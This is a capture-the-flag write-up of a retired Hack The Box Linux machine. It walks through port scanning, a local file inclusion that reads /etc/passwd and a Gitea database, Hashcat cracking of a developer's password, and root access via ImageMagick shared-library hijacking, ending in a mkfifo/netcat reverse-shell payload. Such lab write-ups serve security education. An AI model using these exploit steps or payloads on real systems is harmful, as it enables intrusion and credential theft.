Titanic (Easy)

Description

Difficult -> Easy
OS -> Linux
State -> Retired
Tags -> Pending

Write-up

I started doing an initial port scan using Nmap

nmap 10.129.64.89 -p- -Pn --min-rate 2500 -oN scan.txt

Then I did an exhaustive scan to learn more about the services running on the open ports

nmap 10.129.64.89 -p22,80 -sVC -oN serv_scan.txt

I found an HTTP service on port 80, so I tried accessing the content in the browser. I got redirected to a domain titanic.htb but I couldn't access it because it wasn't in my list of known hosts, so I added it to the /etc/hosts file and retried to access the web, this time successfully reaching the content of a site for booking trips

echo "10.129.64.89 titanic.htb" >> /etc/hosts

To learn more about the HTTP protocol, you can go here

Exploring the page and reading the source code, I didn't find anything relevant apart from a form to book a trip. After filling in some data and submitting the information, the page processed the request and downloaded a summary of the booking in a JSON file named with what appeared to be a hashed value. This caught my attention because maybe this value meant something internally for the server

So to check how the petition was being sent and handled, I retried filling and submitting the form, this time intercepting the petition using FoxyProxy and Burp Suite. I noticed the site was sending a POST petition to a /book route, which could be interesting, and afterwards also sending a petition to a /download route, specifying the JSON file to be downloaded

As the ticket was invoking the file by its complete name, maybe it was searching it directly in the file system of the server, so this could be vulnerable to a File Inclusion vulnerability. So for testing this, I put the typical /etc/passwd route and saw it retrieved the content of the file, confirming it was vulnerable

To learn more about Local File Inclusion exploitation, you can go here

With this information, I checked the content provided and found there was a user developer in the system who had a possibly accessible /home folder. So I tried searching in that path for a user.txt file, and luckily it was there, giving me the user flag

With that, I got the user flag

Answer: d92e1ef5ce5d1b8244f554886f0a86b2

I tried looking for anything else interesting with the LFI but found nothing, so I tried fuzzing the page to possibly find other routes exposed. First tried with folders under the same domain but got nothing, so I tried with subdomains and fortunately found a dev.titanic.htb subdomain that seemed interesting. So I visited this site, once again adding it to the known hosts, and found a website with a version control interface in the GitHub style

gobuster dir -u http://titanic.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -o fuzz.txt --append-domain | grep "Status: 200"

echo "10.129.64.89 titanic.htb" >> /etc/hosts

Exploring the site, I found information about two users, one named administrator who didn't give me relevant information, and the other named developer. For this last one, there were two repositories, so I explored first the docker-config repository and found some credentials for a MySQL database. Then I went to the flask-app repository and also found some interesting details about the deployment of the service, especially the path where it was being exposed to the web

So knowing this, I could try to look for the files in that route and possibly retrieve their content. So after some attempts and using the information previously found, I tried using the name of the project as the same for the internal database and with the .db extension, and fortunately, I found a SQLite3 database

So to explore it, I used that download feature to get the database locally and then access it with the SQLite3 command line utility. First, I checked which tables were available in the database, finding one named user that could be interesting

sqlite3 gitea.db
sqlite> .tables

I listed all the table contents, finding two rows each for the users I had seen on the webpage and a lot of entries that I didn't understand at the time, but some of them seemed to be hashes. Also, one of the entries had the value pbkdf2$50000$50, and with a little research, I understood was an iterative hashing method and used a salt value

sqlite> SELECT * FROM user;

I thought maybe some of the other entries of the row could give me more information related to this hash and how it was being used, so I used the PRAGMA command to get information about it and found two entries were giving me the hash for the password of the user and the respective salt being used

sqlite> PRAGMA table_info(user);

So with this, I could try to crack the password for the users. After investigating how to do this, I started with the developer user, saving its hash in the correct format and using Hashcat to do the cracking process, specifying the hash that was used. After a few minutes, I noticed the hash had been broken, giving me the password 25282528. I repeated the process with the hash for the administrator user but wasn't possible to break it

echo "sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=" > hash.txt
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

So I tried using this to connect to the machine with the developer user via the SSH protocol, and fortunately, I logged in successfully. After that, I sanitized the terminal to work more comfortably

ssh developer@10.129.64.89

To learn more about the SSH protocol, you can go here, and to learn more about the sanitization process, you can go here

Once in the system, I had to escalate privileges, so I started looking for any possible path to achieve it. I checked execution permissions and running services, but didn't find anything relevant. So I did an enumeration of folders that could be interesting and for which the user had access permissions. After a while, I reached the /opt folder, usually used for the installation of third-party applications and mounting of projects, where I found the folder for the web application that was also on one of the repositories, and listed all that was inside

tree -a

I found the identify_images.sh script interesting, so I read its content to know what actions it was doing. In short, it was accessing the folder under the app files where the images were saved, deleting the content of a metadata.log file, and using the ImageMagick tool to take the metadata from the .jpg files and save it to the log file. I confirm this information by looking at the content of the metadata.log file

I was curious if the use of this tool could be leveraged for the escalation, so I searched the web for possible vulnerabilities. I found an interesting repository with an RCE vulnerability for a recent version of the tool. To confirm it will apply in that situation, I looked for the version of this tool on the system, and that the script was owned by the root user. I confirmed that it was a vulnerable version, and the file was owned by the target user, so I could exploit it

So I went to the folder where the script was going to act and based on the repository created a C script with a test payload using the sudo id command. Then I compiled it as the libxcb.so.1 library that Magick was about to use and ran the magick command in the same form as the script. I got a notification about the user not being in the sudoers file, but confirmed it worked by looking at the metadata.log, where the results were supposed to be saved, having RCE as the root user

nano test.c
gcc test.c -fPIC -shared -o libxcb.so.1 -nostartfiles
magick identify entertainment.jpg
cat metadata.log

test.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("sudo id");
    exit(0);
}

With this, I created a new file, changing the payload to one that could help me gain a Reverse Shell. I set a Netcat listener to receive the connection and established the payload, indicating the IP of my machine and the port where I was listening. Then I did the compiling process and ran the magick tool again, successfully gaining a shell as the root user

#On my machine
nc -nvlp 4444

#On the target machine
nano shell.c
gcc shell.c -fPIC -shared -o libxcb.so.1 -nostartfiles
magick identify entertainment.jpg

shell.c

include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("sudo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f");
    exit(0);
}